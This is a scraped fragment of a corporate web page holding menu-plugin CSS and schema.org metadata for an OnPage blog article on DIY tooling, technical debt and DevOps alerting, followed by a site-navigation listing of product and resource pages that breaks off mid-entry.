.ubermenu{ display:block !important; } .ubermenu-responsive .ubermenu-item.ubermenu-hide-desktop{ display:none !important; } .ubermenu-responsive.ubermenu-retractors-responsive .ubermenu-retractor-mobile{ display:none; } /* Top level items full height */ .ubermenu.ubermenu-horizontal.ubermenu-items-vstretch .ubermenu-nav{ display:flex; align-items:stretch; } .ubermenu.ubermenu-horizontal.ubermenu-items-vstretch .ubermenu-item.ubermenu-item-level-0{ display:flex; flex-direction:column; } .ubermenu.ubermenu-horizontal.ubermenu-items-vstretch .ubermenu-item.ubermenu-item-level-0 > .ubermenu-target{ flex:1; display:flex; align-items:center; flex-wrap:wrap; } .ubermenu.ubermenu-horizontal.ubermenu-items-vstretch .ubermenu-item.ubermenu-item-level-0 > .ubermenu-target > .ubermenu-target-divider{ position:static; flex-basis:100%; } .ubermenu.ubermenu-horizontal.ubermenu-items-vstretch .ubermenu-item.ubermenu-item-level-0 > .ubermenu-target.ubermenu-item-layout-image_left > .ubermenu-target-text{ padding-left:1em; } .ubermenu.ubermenu-horizontal.ubermenu-items-vstretch .ubermenu-item.ubermenu-item-level-0 > .ubermenu-target.ubermenu-item-layout-image_right > .ubermenu-target-text{ padding-right:1em; } .ubermenu.ubermenu-horizontal.ubermenu-items-vstretch .ubermenu-item.ubermenu-item-level-0 > .ubermenu-target.ubermenu-item-layout-image_above, .ubermenu.ubermenu-horizontal.ubermenu-items-vstretch .ubermenu-item.ubermenu-item-level-0 > .ubermenu-target.ubermenu-item-layout-image_below{ flex-direction:column; } .ubermenu.ubermenu-horizontal.ubermenu-items-vstretch .ubermenu-item.ubermenu-item-level-0 > .ubermenu-submenu-drop{ top:100%; } .ubermenu.ubermenu-horizontal.ubermenu-items-vstretch .ubermenu-item-level-0:not(.ubermenu-align-right) + .ubermenu-item.ubermenu-align-right{ margin-left:auto; } .ubermenu.ubermenu-horizontal.ubermenu-items-vstretch .ubermenu-item.ubermenu-item-level-0 > .ubermenu-target.ubermenu-content-align-left{ justify-content:flex-start; } .ubermenu.ubermenu-horizontal.ubermenu-items-vstretch .ubermenu-item.ubermenu-item-level-0 > .ubermenu-target.ubermenu-content-align-center{ justify-content:center; } .ubermenu.ubermenu-horizontal.ubermenu-items-vstretch .ubermenu-item.ubermenu-item-level-0 > .ubermenu-target.ubermenu-content-align-right{ justify-content:flex-end; } /* Force current submenu always open but below others */ .ubermenu-force-current-submenu .ubermenu-item-level-0.ubermenu-current-menu-item > .ubermenu-submenu-drop, .ubermenu-force-current-submenu .ubermenu-item-level-0.ubermenu-current-menu-ancestor > .ubermenu-submenu-drop { display: block!important; opacity: 1!important; visibility: visible!important; margin: 0!important; top: auto!important; height: auto; z-index:19; } /* Invert Horizontal menu to make subs go up */ .ubermenu-invert.ubermenu-horizontal .ubermenu-item-level-0 > .ubermenu-submenu-drop, .ubermenu-invert.ubermenu-horizontal.ubermenu-items-vstretch .ubermenu-item.ubermenu-item-level-0>.ubermenu-submenu-drop{ top:auto; bottom:100%; } .ubermenu-invert.ubermenu-horizontal.ubermenu-sub-indicators .ubermenu-item-level-0.ubermenu-has-submenu-drop > .ubermenu-target > .ubermenu-sub-indicator{ transform:rotate(180deg); } /* Make second level flyouts fly up */ .ubermenu-invert.ubermenu-horizontal .ubermenu-submenu .ubermenu-item.ubermenu-active > .ubermenu-submenu-type-flyout{ top:auto; bottom:0; } /* Clip the submenus properly when inverted */ .ubermenu-invert.ubermenu-horizontal .ubermenu-item-level-0 > .ubermenu-submenu-drop{ clip: rect(-5000px,5000px,auto,-5000px); } /* Invert Vertical menu to make subs go left */ .ubermenu-invert.ubermenu-vertical .ubermenu-item-level-0 > .ubermenu-submenu-drop{ right:100%; left:auto; } .ubermenu-invert.ubermenu-vertical.ubermenu-sub-indicators .ubermenu-item-level-0.ubermenu-item-has-children > .ubermenu-target > .ubermenu-sub-indicator{ right:auto; left:10px; transform:rotate(90deg); } .ubermenu-vertical.ubermenu-invert .ubermenu-item > .ubermenu-submenu-drop { clip: rect(-5000px,5000px,5000px,-5000px); } /* Vertical Flyout > Flyout */ .ubermenu-vertical.ubermenu-invert.ubermenu-sub-indicators .ubermenu-has-submenu-drop > .ubermenu-target{ padding-left:25px; } .ubermenu-vertical.ubermenu-invert .ubermenu-item > .ubermenu-target > .ubermenu-sub-indicator { right:auto; left:10px; transform:rotate(90deg); } .ubermenu-vertical.ubermenu-invert .ubermenu-item > .ubermenu-submenu-drop.ubermenu-submenu-type-flyout, .ubermenu-vertical.ubermenu-invert .ubermenu-submenu-type-flyout > .ubermenu-item > .ubermenu-submenu-drop { right: 100%; left: auto; } .ubermenu-responsive-toggle{ display:none; }
}
@media screen and (max-width: 600px){
.ubermenu-responsive-toggle, .ubermenu-sticky-toggle-wrapper { display: block; } .ubermenu-responsive{ width:100%; max-height:600px; visibility:visible; overflow:visible; -webkit-transition:max-height 1s ease-in; transition:max-height .3s ease-in; } .ubermenu-responsive.ubermenu-mobile-accordion:not(.ubermenu-mobile-modal):not(.ubermenu-in-transition):not(.ubermenu-responsive-collapse){ max-height:none; } .ubermenu-responsive.ubermenu-items-align-center{ text-align:left; } .ubermenu-responsive.ubermenu{ margin:0; } .ubermenu-responsive.ubermenu .ubermenu-nav{ display:block; } .ubermenu-responsive.ubermenu-responsive-nocollapse, .ubermenu-repsonsive.ubermenu-no-transitions{ display:block; max-height:none; } .ubermenu-responsive.ubermenu-responsive-collapse{ max-height:none; visibility:visible; overflow:visible; } .ubermenu-responsive.ubermenu-responsive-collapse{ max-height:0; overflow:hidden !important; visibility:hidden; } .ubermenu-responsive.ubermenu-in-transition, .ubermenu-responsive.ubermenu-in-transition .ubermenu-nav{ overflow:hidden !important; visibility:visible; } .ubermenu-responsive.ubermenu-responsive-collapse:not(.ubermenu-in-transition){ border-top-width:0; border-bottom-width:0; } .ubermenu-responsive.ubermenu-responsive-collapse .ubermenu-item .ubermenu-submenu{ display:none; } .ubermenu-responsive .ubermenu-item-level-0{ width:50%; } .ubermenu-responsive.ubermenu-responsive-single-column .ubermenu-item-level-0{ float:none; clear:both; width:100%; } .ubermenu-responsive .ubermenu-item.ubermenu-item-level-0 > .ubermenu-target{ border:none; box-shadow:none; } .ubermenu-responsive .ubermenu-item.ubermenu-has-submenu-flyout{ position:static; } .ubermenu-responsive.ubermenu-sub-indicators .ubermenu-submenu-type-flyout .ubermenu-has-submenu-drop > .ubermenu-target > .ubermenu-sub-indicator{ transform:rotate(0); right:10px; left:auto; } .ubermenu-responsive .ubermenu-nav .ubermenu-item .ubermenu-submenu.ubermenu-submenu-drop{ width:100%; min-width:100%; max-width:100%; top:auto; left:0 !important; } .ubermenu-responsive.ubermenu-has-border .ubermenu-nav .ubermenu-item .ubermenu-submenu.ubermenu-submenu-drop{ left: -1px !important; /* For borders */ } .ubermenu-responsive .ubermenu-submenu.ubermenu-submenu-type-mega > .ubermenu-item.ubermenu-column{ min-height:0; border-left:none; float:left; /* override left/center/right content alignment */ display:block; } .ubermenu-responsive .ubermenu-item.ubermenu-active > .ubermenu-submenu.ubermenu-submenu-type-mega{ max-height:none; height:auto;/*prevent overflow scrolling since android is still finicky*/ overflow:visible; } .ubermenu-responsive.ubermenu-transition-slide .ubermenu-item.ubermenu-in-transition > .ubermenu-submenu-drop{ max-height:1000px; /* because of slide transition */ } .ubermenu .ubermenu-submenu-type-flyout .ubermenu-submenu-type-mega{ min-height:0; } .ubermenu.ubermenu-responsive .ubermenu-column, .ubermenu.ubermenu-responsive .ubermenu-column-auto{ min-width:50%; } .ubermenu.ubermenu-responsive .ubermenu-autoclear > .ubermenu-column{ clear:none; } .ubermenu.ubermenu-responsive .ubermenu-column:nth-of-type(2n+1){ clear:both; } .ubermenu.ubermenu-responsive .ubermenu-submenu-retractor-top:not(.ubermenu-submenu-retractor-top-2) .ubermenu-column:nth-of-type(2n+1){ clear:none; } .ubermenu.ubermenu-responsive .ubermenu-submenu-retractor-top:not(.ubermenu-submenu-retractor-top-2) .ubermenu-column:nth-of-type(2n+2){ clear:both; } .ubermenu-responsive-single-column-subs .ubermenu-submenu .ubermenu-item { float: none; clear: both; width: 100%; min-width: 100%; } /* Submenu footer content */ .ubermenu .ubermenu-submenu-footer{ position:relative; clear:both; bottom:auto; right:auto; } .ubermenu.ubermenu-responsive .ubermenu-tabs, .ubermenu.ubermenu-responsive .ubermenu-tabs-group, .ubermenu.ubermenu-responsive .ubermenu-tab, .ubermenu.ubermenu-responsive .ubermenu-tab-content-panel{ /** TABS SHOULD BE 100% ACCORDION */ width:100%; min-width:100%; max-width:100%; left:0; } .ubermenu.ubermenu-responsive .ubermenu-tabs, .ubermenu.ubermenu-responsive .ubermenu-tab-content-panel{ min-height:0 !important;/* Override Inline Style from JS */ } .ubermenu.ubermenu-responsive .ubermenu-tabs{ z-index:15; } .ubermenu.ubermenu-responsive .ubermenu-tab-content-panel{ z-index:20; } /* Tab Layering */ .ubermenu-responsive .ubermenu-tab{ position:relative; } .ubermenu-responsive .ubermenu-tab.ubermenu-active{ position:relative; z-index:20; } .ubermenu-responsive .ubermenu-tab > .ubermenu-target{ border-width:0 0 1px 0; } .ubermenu-responsive.ubermenu-sub-indicators .ubermenu-tabs > .ubermenu-tabs-group > .ubermenu-tab.ubermenu-has-submenu-drop > .ubermenu-target > .ubermenu-sub-indicator{ transform:rotate(0); right:10px; left:auto; } .ubermenu-responsive .ubermenu-tabs > .ubermenu-tabs-group > .ubermenu-tab > .ubermenu-tab-content-panel{ top:auto; border-width:1px; } .ubermenu-responsive .ubermenu-tab-layout-bottom > .ubermenu-tabs-group{ /*position:relative;*/ } .ubermenu-reponsive .ubermenu-item-level-0 > .ubermenu-submenu-type-stack{ /* Top Level Stack Columns */ position:relative; } .ubermenu-responsive .ubermenu-submenu-type-stack .ubermenu-column, .ubermenu-responsive .ubermenu-submenu-type-stack .ubermenu-column-auto{ /* Stack Columns */ width:100%; max-width:100%; } .ubermenu-responsive .ubermenu-item-mini{ /* Mini items */ min-width:0; width:auto; float:left; clear:none !important; } .ubermenu-responsive .ubermenu-item.ubermenu-item-mini > a.ubermenu-target{ padding-left:20px; padding-right:20px; } .ubermenu-responsive .ubermenu-item.ubermenu-hide-mobile{ /* Hiding items */ display:none !important; } .ubermenu-responsive.ubermenu-hide-bkgs .ubermenu-submenu.ubermenu-submenu-bkg-img{ /** Hide Background Images in Submenu */ background-image:none; } .ubermenu.ubermenu-responsive .ubermenu-item-level-0.ubermenu-item-mini{ min-width:0; width:auto; } .ubermenu-vertical .ubermenu-item.ubermenu-item-level-0{ width:100%; } .ubermenu-vertical.ubermenu-sub-indicators .ubermenu-item-level-0.ubermenu-item-has-children > .ubermenu-target > .ubermenu-sub-indicator{ right:10px; left:auto; transform:rotate(0); } .ubermenu-vertical .ubermenu-item.ubermenu-item-level-0.ubermenu-relative.ubermenu-active > .ubermenu-submenu-drop.ubermenu-submenu-align-vertical_parent_item{ top:auto; } .ubermenu.ubermenu-responsive .ubermenu-tabs{ position:static; } /* Tabs on Mobile with mouse (but not click) - leave space to hover off */ .ubermenu:not(.ubermenu-is-mobile):not(.ubermenu-submenu-indicator-closes) .ubermenu-submenu .ubermenu-tab[data-ubermenu-trigger="mouseover"] .ubermenu-tab-content-panel, .ubermenu:not(.ubermenu-is-mobile):not(.ubermenu-submenu-indicator-closes) .ubermenu-submenu .ubermenu-tab[data-ubermenu-trigger="hover_intent"] .ubermenu-tab-content-panel{ margin-left:6%; width:94%; min-width:94%; } /* Sub indicator close visibility */ .ubermenu.ubermenu-submenu-indicator-closes .ubermenu-active > .ubermenu-target > .ubermenu-sub-indicator-close{ display:block; display: flex; align-items: center; justify-content: center; } .ubermenu.ubermenu-submenu-indicator-closes .ubermenu-active > .ubermenu-target > .ubermenu-sub-indicator{ display:none; } .ubermenu .ubermenu-tabs .ubermenu-tab-content-panel{ box-shadow: 0 5px 10px rgba(0,0,0,.075); } /* When submenus and items go full width, move items back to appropriate positioning */ .ubermenu .ubermenu-submenu-rtl { direction: ltr; } /* Fixed position mobile menu */ .ubermenu.ubermenu-mobile-modal{ position:fixed; z-index:9999999; opacity:1; top:0; left:0; width:100%; width:100vw; max-width:100%; max-width:100vw; height:100%; height:calc(100vh - calc(100vh - 100%)); height:-webkit-fill-available; max-height:calc(100vh - calc(100vh - 100%)); max-height:-webkit-fill-available; border:none; box-sizing:border-box; display:flex; flex-direction:column; justify-content:flex-start; overflow-y:auto !important; /* for non-accordion mode */ overflow-x:hidden !important; overscroll-behavior: contain; transform:scale(1); transition-duration:.1s; transition-property: all; } .ubermenu.ubermenu-mobile-modal.ubermenu-mobile-accordion.ubermenu-interaction-press{ overflow-y:hidden !important; } .ubermenu.ubermenu-mobile-modal.ubermenu-responsive-collapse{ overflow:hidden !important; opacity:0; transform:scale(.9); visibility:hidden; } .ubermenu.ubermenu-mobile-modal .ubermenu-nav{ flex:1; overflow-y:auto !important; overscroll-behavior: contain; } .ubermenu.ubermenu-mobile-modal .ubermenu-item-level-0{ margin:0; } .ubermenu.ubermenu-mobile-modal .ubermenu-mobile-close-button{ border:none; background:none; border-radius:0; padding:1em; color:inherit; display:inline-block; text-align:center; font-size:14px; } .ubermenu.ubermenu-mobile-modal .ubermenu-mobile-footer .ubermenu-mobile-close-button{ width: 100%; display: flex; align-items: center; justify-content: center; } .ubermenu.ubermenu-mobile-modal .ubermenu-mobile-footer .ubermenu-mobile-close-button .ubermenu-icon-essential, .ubermenu.ubermenu-mobile-modal .ubermenu-mobile-footer .ubermenu-mobile-close-button .fas.fa-times{ margin-right:.2em; } /* Header/Footer Mobile content */ .ubermenu .ubermenu-mobile-header, .ubermenu .ubermenu-mobile-footer{ display:block; text-align:center; color:inherit; } /* Accordion submenus mobile (single column tablet) */ .ubermenu.ubermenu-responsive-single-column.ubermenu-mobile-accordion.ubermenu-interaction-press .ubermenu-item > .ubermenu-submenu-drop, .ubermenu.ubermenu-responsive-single-column.ubermenu-mobile-accordion.ubermenu-interaction-press .ubermenu-tab > .ubermenu-tab-content-panel{ box-sizing:border-box; border-left:none; border-right:none; box-shadow:none; } .ubermenu.ubermenu-responsive-single-column.ubermenu-mobile-accordion.ubermenu-interaction-press .ubermenu-item.ubermenu-active > .ubermenu-submenu-drop, .ubermenu.ubermenu-responsive-single-column.ubermenu-mobile-accordion.ubermenu-interaction-press .ubermenu-tab.ubermenu-active > .ubermenu-tab-content-panel{ position:static; } /* Accordion indented - remove borders and extra spacing from headers */ .ubermenu.ubermenu-mobile-accordion-indent .ubermenu-submenu.ubermenu-submenu-drop, .ubermenu.ubermenu-mobile-accordion-indent .ubermenu-submenu .ubermenu-item-header.ubermenu-has-submenu-stack > .ubermenu-target{ border:none; } .ubermenu.ubermenu-mobile-accordion-indent .ubermenu-submenu .ubermenu-item-header.ubermenu-has-submenu-stack > .ubermenu-submenu-type-stack{ padding-top:0; } /* Accordion dropdown indentation padding */ .ubermenu.ubermenu-mobile-accordion-indent .ubermenu-submenu-drop .ubermenu-submenu-drop .ubermenu-item > .ubermenu-target, .ubermenu.ubermenu-mobile-accordion-indent .ubermenu-submenu-drop .ubermenu-tab-content-panel .ubermenu-item > .ubermenu-target{ padding-left:calc( var(--ubermenu-accordion-indent) * 2 ); } .ubermenu.ubermenu-mobile-accordion-indent .ubermenu-submenu-drop .ubermenu-submenu-drop .ubermenu-submenu-drop .ubermenu-item > .ubermenu-target, .ubermenu.ubermenu-mobile-accordion-indent .ubermenu-submenu-drop .ubermenu-tab-content-panel .ubermenu-tab-content-panel .ubermenu-item > .ubermenu-target{ padding-left:calc( var(--ubermenu-accordion-indent) * 3 ); } .ubermenu.ubermenu-mobile-accordion-indent .ubermenu-submenu-drop .ubermenu-submenu-drop .ubermenu-submenu-drop .ubermenu-submenu-drop .ubermenu-item > .ubermenu-target, .ubermenu.ubermenu-mobile-accordion-indent .ubermenu-submenu-drop .ubermenu-tab-content-panel .ubermenu-tab-content-panel .ubermenu-tab-content-panel .ubermenu-item > .ubermenu-target{ padding-left:calc( var(--ubermenu-accordion-indent) * 4 ); } /* Reverse Accordion dropdown indentation padding */ .rtl .ubermenu.ubermenu-mobile-accordion-indent .ubermenu-submenu-drop .ubermenu-submenu-drop .ubermenu-item > .ubermenu-target, .rtl .ubermenu.ubermenu-mobile-accordion-indent .ubermenu-submenu-drop .ubermenu-tab-content-panel .ubermenu-item > .ubermenu-target{ padding-left:0; padding-right:calc( var(--ubermenu-accordion-indent) * 2 ); } .rtl .ubermenu.ubermenu-mobile-accordion-indent .ubermenu-submenu-drop .ubermenu-submenu-drop .ubermenu-submenu-drop .ubermenu-item > .ubermenu-target, .rtl .ubermenu.ubermenu-mobile-accordion-indent .ubermenu-submenu-drop .ubermenu-tab-content-panel .ubermenu-tab-content-panel .ubermenu-item > .ubermenu-target{ padding-left:0; padding-right:calc( var(--ubermenu-accordion-indent) * 3 ); } .rtl .ubermenu.ubermenu-mobile-accordion-indent .ubermenu-submenu-drop .ubermenu-submenu-drop .ubermenu-submenu-drop .ubermenu-submenu-drop .ubermenu-item > .ubermenu-target, .rtl .ubermenu.ubermenu-mobile-accordion-indent .ubermenu-submenu-drop .ubermenu-tab-content-panel .ubermenu-tab-content-panel .ubermenu-tab-content-panel .ubermenu-item > .ubermenu-target{ padding-left:0; padding-right:calc( var(--ubermenu-accordion-indent) * 4 ); } .ubermenu-responsive-toggle{ display:block; }
}
@media screen and (max-width: 480px){
.ubermenu.ubermenu-responsive .ubermenu-item-level-0{ width:100%; } .ubermenu.ubermenu-responsive .ubermenu-column, .ubermenu.ubermenu-responsive .ubermenu-column-auto{ min-width:100%; } .ubermenu .ubermenu-autocolumn:not(:first-child), .ubermenu .ubermenu-autocolumn:not(:first-child) .ubermenu-submenu-type-stack{ padding-top:0; } .ubermenu .ubermenu-autocolumn:not(:last-child), .ubermenu .ubermenu-autocolumn:not(:last-child) .ubermenu-submenu-type-stack{ padding-bottom:0; } .ubermenu .ubermenu-autocolumn > .ubermenu-submenu-type-stack > .ubermenu-item-normal:first-child{ margin-top:0; } /* Accordion submenus mobile */ .ubermenu.ubermenu-responsive.ubermenu-mobile-accordion.ubermenu-interaction-press .ubermenu-item > .ubermenu-submenu-drop, .ubermenu.ubermenu-responsive.ubermenu-mobile-accordion.ubermenu-interaction-press .ubermenu-tab > .ubermenu-tab-content-panel{ box-shadow:none; box-sizing:border-box; border-left:none; border-right:none; } .ubermenu.ubermenu-responsive.ubermenu-mobile-accordion.ubermenu-interaction-press .ubermenu-item.ubermenu-active > .ubermenu-submenu-drop, .ubermenu.ubermenu-responsive.ubermenu-mobile-accordion.ubermenu-interaction-press .ubermenu-tab.ubermenu-active > .ubermenu-tab-content-panel{ position:static; }
}
/** UberMenu Custom Menu Styles (Customizer) **/
/* main */
.ubermenu-main .ubermenu-item-level-0 > .ubermenu-target { font-size:16px; }
.ubermenu.ubermenu-main .ubermenu-item-level-0:hover > .ubermenu-target, .ubermenu-main .ubermenu-item-level-0.ubermenu-active > .ubermenu-target { color:#81bd34; }
.ubermenu-main .ubermenu-item-normal > .ubermenu-target { font-size:15px; }
.ubermenu-main .ubermenu-item-normal > .ubermenu-target:hover > .ubermenu-target-text { text-decoration:underline; }
.ubermenu-responsive-toggle.ubermenu-responsive-toggle-main { background:#3532db; }
/** UberMenu Custom Tweaks (General Settings) **/
.ubermenu.ubermenu-transition-slide .ubermenu-active>.ubermenu-submenu.ubermenu-submenu-type-mega, .ubermenu:not(.ubermenu-transition-slide) .ubermenu-submenu.ubermenu-submenu-type-mega {top:45px!important;}
/* Status: Loaded from Transient */
</style><!-- Schema optimized by Schema Pro --><script type="application/ld+json">{"@context":"https://schema.org","@type":"Article","mainEntityOfPage":{"@type":"WebPage","@id":"https://www.onpage.com/primer-on-diy-technical-debt-and-devops-alerting/"},"headline":"A very short primer on DIY, technical debt and DevOps alerting","image":{"@type":"ImageObject","url":"https://www.onpage.com/wp-content/uploads/onpage-logo.jpg","width":259,"height":60},"datePublished":"2017-02-01T14:58:41","dateModified":"2023-06-08T11:38:07","author":{"@type":"person","name":"OnPage Corporation","url":"https://www.onpage.com/author/onpage_corporation"},"publisher":{"@type":"Organization","name":"OnPage","logo":{"@type":"ImageObject","url":"https://www.onpage.com/wp-content/uploads/onpage-logo.jpg"}},"description":null}</script><!-- / Schema optimized by Schema Pro --><!-- site-navigation-element Schema optimized by Schema Pro --><script type="application/ld+json">{"@context":"https:\/\/schema.org","@graph":[{"@context":"https:\/\/schema.org","@type":"SiteNavigationElement","id":"site-navigation","name":"Products","url":"#ubermenu-row"},{"@context":"https:\/\/schema.org","@type":"SiteNavigationElement","id":"site-navigation","name":"[Column]","url":"#ubermenu-column"},{"@context":"https:\/\/schema.org","@type":"SiteNavigationElement","id":"site-navigation","name":"On-Call Alerting","url":"https:\/\/www.onpage.com\/products\/on-call-alerting\/"},{"@context":"https:\/\/schema.org","@type":"SiteNavigationElement","id":"site-navigation","name":"On-Call Management","url":"https:\/\/www.onpage.com\/products\/what-is-it-oncall-management-system\/"},{"@context":"https:\/\/schema.org","@type":"SiteNavigationElement","id":"site-navigation","name":"Incident Alert Management","url":"https:\/\/www.onpage.com\/products\/incident-alert-management-for-it\/"},{"@context":"https:\/\/schema.org","@type":"SiteNavigationElement","id":"site-navigation","name":"Live Call Routing","url":"https:\/\/www.onpage.com\/products\/live-call-routing\/"},{"@context":"https:\/\/schema.org","@type":"SiteNavigationElement","id":"site-navigation","name":"Mass Notifications","url":"https:\/\/www.onpage.com\/products\/mass-notification-system\/"},{"@context":"https:\/\/schema.org","@type":"SiteNavigationElement","id":"site-navigation","name":"Clinical Communication & Collaboration","url":"https:\/\/www.onpage.com\/products\/clinical-collaboration-system\/"},{"@context":"https:\/\/schema.org","@type":"SiteNavigationElement","id":"site-navigation","name":"HIPAA-Compliant Messaging","url":"https:\/\/www.onpage.com\/products\/hipaa-compliant-messaging\/"},{"@context":"https:\/\/schema.org","@type":"SiteNavigationElement","id":"site-navigation","name":"Pager Replacement","url":"https:\/\/www.onpage.com\/products\/pager-app\/"},{"@context":"https:\/\/schema.org","@type":"SiteNavigationElement","id":"site-navigation","name":"Healthcare On-Call Management","url":"https:\/\/www.onpage.com\/products\/on-call-management-for-healthcare\/"},{"@context":"https:\/\/schema.org","@type":"SiteNavigationElement","id":"site-navigation","name":"Patient-Provider Communication","url":"https:\/\/www.onpage.com\/products\/patient-doctor-communication\/"},{"@context":"https:\/\/schema.org","@type":"SiteNavigationElement","id":"site-navigation","name":"Free Trial","url":"https:\/\/www.onpage.com\/free-trial\/"},{"@context":"https:\/\/schema.org","@type":"SiteNavigationElement","id":"site-navigation","name":"Integrations","url":"https:\/\/www.onpage.com\/integrations\/"},{"@context":"https:\/\/schema.org","@type":"SiteNavigationElement","id":"site-navigation","name":"What's New?","url":"https:\/\/www.onpage.com\/onpage-new-features-upgrades-and-integrations\/"},{"@context":"https:\/\/schema.org","@type":"SiteNavigationElement","id":"site-navigation","name":"What We Built in 2025, and Why It Matters Going Into 2026","url":"https:\/\/www.onpage.com\/what-we-built-in-2025-and-why-it-matters-going-into-2026\/"},{"@context":"https:\/\/schema.org","@type":"SiteNavigationElement","id":"site-navigation","name":"Why OnPage?","url":"https:\/\/www.onpage.com\/why-onpage\/"},{"@context":"https:\/\/schema.org","@type":"SiteNavigationElement","id":"site-navigation","name":"Comparison","url":"https:\/\/www.onpage.com\/comparison\/"},{"@context":"https:\/\/schema.org","@type":"SiteNavigationElement","id":"site-navigation","name":"Pricing","url":"https:\/\/www.onpage.com\/pricing\/"},{"@context":"https:\/\/schema.org","@type":"SiteNavigationElement","id":"site-navigation","name":"Reliability","url":"https:\/\/www.onpage.com\/reliability\/"},{"@context":"https:\/\/schema.org","@type":"SiteNavigationElement","id":"site-navigation","name":"Testimonials","url":"https:\/\/www.onpage.com\/client-testimonials\/"},{"@context":"https:\/\/schema.org","@type":"SiteNavigationElement","id":"site-navigation","name":"Healthcare IT Trends 2023","url":"#ubermenu-custom_content"},{"@context":"https:\/\/schema.org","@type":"SiteNavigationElement","id":"site-navigation","name":"How It Works","url":"https:\/\/www.onpage.com\/how-it-works-onpage-alert-management\/"},{"@context":"https:\/\/schema.org","@type":"SiteNavigationElement","id":"site-navigation","name":"Who We Help","url":"https:\/\/www.onpage.com\/industry\/"},{"@context":"https:\/\/schema.org","@type":"SiteNavigationElement","id":"site-navigation","name":"By Industry","url":"#ubermenu-custom_content"},{"@context":"https:\/\/schema.org","@type":"SiteNavigationElement","id":"site-navigation","name":"Healthcare","url":"https:\/\/www.onpage.com\/clinical-communications-platform\/"},{"@context":"https:\/\/schema.org","@type":"SiteNavigationElement","id":"site-navigation","name":"IT Incident Response","url":"https:\/\/www.onpage.com\/it-incident-response\/"},{"@context":"https:\/\/schema.org","@type":"SiteNavigationElement","id":"site-navigation","name":"Managed Services","url":"https:\/\/www.onpage.com\/managed-service-providers\/"},{"@context":"https:\/\/schema.org","@type":"SiteNavigationElement","id":"site-navigation","name":"Govt. & Federal Agencies","url":"https:\/\/www.onpage.com\/government-public-safety\/"},{"@context":"https:\/\/schema.org","@type":"SiteNavigationElement","id":"site-navigation","name":"Internet of Things","url":"https:\/\/www.onpage.com\/iot\/"},{"@context":"https:\/\/schema.org","@type":"SiteNavigationElement","id":"site-navigation","name":"Other","url":"https:\/\/www.onpage.com\/industry\/"},{"@context":"https:\/\/schema.org","@type":"SiteNavigationElement","id":"site-navigation","name":"IT Use Case","url":"#ubermenu-custom_content"},{"@context":"https:\/\/schema.org","@type":"SiteNavigationElement","id":"site-navigation","name":"Business Continuity","url":"https:\/\/www.onpage.com\/business-continuity-management\/"},{"@context":"https:\/\/schema.org","@type":"SiteNavigationElement","id":"site-navigation","name":"CloudOps","url":"https:\/\/www.onpage.com\/onpage-for-cloud-migration\/"},{"@context":"https:\/\/schema.org","@type":"SiteNavigationElement","id":"site-navigation","name":"DevOps","url":"https:\/\/www.onpage.com\/add-incident-alert-management-to-your-devops-pipelines\/"},{"@context":"https:\/\/schema.org","@type":"SiteNavigationElement","id":"site-navigation","name":"Help Desk","url":"https:\/\/www.onpage.com\/help-desk-communication-and-alerting\/"},{"@context":"https:\/\/schema.org","@type":"SiteNavigationElement","id":"site-navigation","name":"Cybersecurity","url":"https:\/\/www.onpage.com\/onpage-for-security-operations\/"},{"@context":"https:\/\/schema.org","@type":"SiteNavigationElement","id":"site-navigation","name":"Site Reliability","url":"https:\/\/www.onpage.com\/onpage-for-sre-alerting\/"},{"@context":"https:\/\/schema.org","@type":"SiteNavigationElement","id":"site-navigation","name":"Healthcare Use Case","url":"#ubermenu-custom_content"},{"@context":"https:\/\/schema.org","@type":"SiteNavigationElement","id":"site-navigation","name":"Behavioral Health","url":"https:\/\/www.onpage.com\/behavioral-health\/"},{"@context":"https:\/\/schema.org","@type":"SiteNavigationElement","id":"site-navigation","name":"Emergency Services","url":"https:\/\/www.onpage.com\/emergency-medical-services\/"},{"@context":"https:\/\/schema.org","@type":"SiteNavigationElement","id":"site-navigation","name":"Home Health and Hospice","url":"https:\/\/www.onpage.com\/home-health-and-hospice\/"},{"@context":"https:\/\/schema.org","@type":"SiteNavigationElement","id":"site-navigation","name":"Midwifery Care","url":"https:\/\/www.onpage.com\/midwifery-group-communication\/"},{"@context":"https:\/\/schema.org","@type":"SiteNavigationElement","id":"site-navigation","name":"Telemedicine","url":"https:\/\/www.onpage.com\/telemedicine-pager-messaging-for-telemedicine\/"},{"@context":"https:\/\/schema.org","@type":"SiteNavigationElement","id":"site-navigation","name":"on-call management guide","url":"#ubermenu-custom_content"},{"@context":"https:\/\/schema.org","@type":"SiteNavigationElement","id":"site-navigation","name":"Resources","url":"#"},{"@context":"https:\/\/schema.org","@type":"SiteNavigationElement","id":"site-navigation","name":"OnPage University","url":"https:\/\/www.onpage.com\/onpage-university\/"},{"@context":"https:\/\/schema.org","@type":"SiteNavigationElement","id":"site-navigation","name":"Healthcare Resource Library","url":"https:\/\/www.onpage.com\/healthcare-resource-library\/"},{"@context":"https:\/\/schema.org","@type":"SiteNavigationElement","id":"site-navigation","name":"IT Resource Library","url":"https:\/\/www.onpage.com\/it-resource-library\/"},{"@context":"https:\/\/schema.org","@type":"SiteNavigationElement","id":"site-navigation","name":"MSP Resource Library","url":"https:\/\/www.onpage.com\/msp-resource-library-2\/"},{"@context":"https:\/\/schema.org","@type":"SiteNavigationElement","id":"site-navigation","name":"Knowledge Base","url":"https:\/\/docs.onpage.com\/"},{"@context":"https:\/\/schema.org","@type":"SiteNavigationElement","id":"site-navigation","name":"Blog","url":"https:\/\/www.onpage.com\/blog\/"},{"@context":"https:\/\/schema.org","@type":"SiteNavigationElement","id":"site-navigation","name":"OnPage in the News","url":"https:\/\/www.onpage.com\/onpage-in-news\/"},{"@context":"https:\/\/schema.org","@type":"SiteNavigationElement","id":"site-navigation","name":"Tutorial Videos","url":"https:\/\/www.onpage.com\/tutorial-videos\/"},{"@context":"https:\/\/schema.org","@type":"SiteNavigationElement","id":"site-navigation","name":"Videos","url":"https:\/\/www.onpage.com\/resources-videos\/"},{"@context":"https:\/\/schema.org","@type":"SiteNavigationElement","id":"site-navigation","name":"OnPage on Social","url":"https:\/\/www.onpage.com\/onpage-on-social\/"},{"@context":"https:\/\/schema.org","@type":"SiteNavigationElement","id":"site-navigation","name":"Healthcare Customer Stories","url":"https:\/\/www.onpage.com\/healthcare-customer-stories\/"},{"@context":"https:\/\/schema.org","@type":"SiteNavigationElement","id":"site-navigation","name":"IT &#038; Managed IT Customer Stories","url":"https:\/\/www.onpage.com\/it-managed-it-customer-stories\/"},{"@context":"https:\/\/schema.org","@type":"SiteNavigationElement","id":"site-navigation","name":"Other Industry Customer 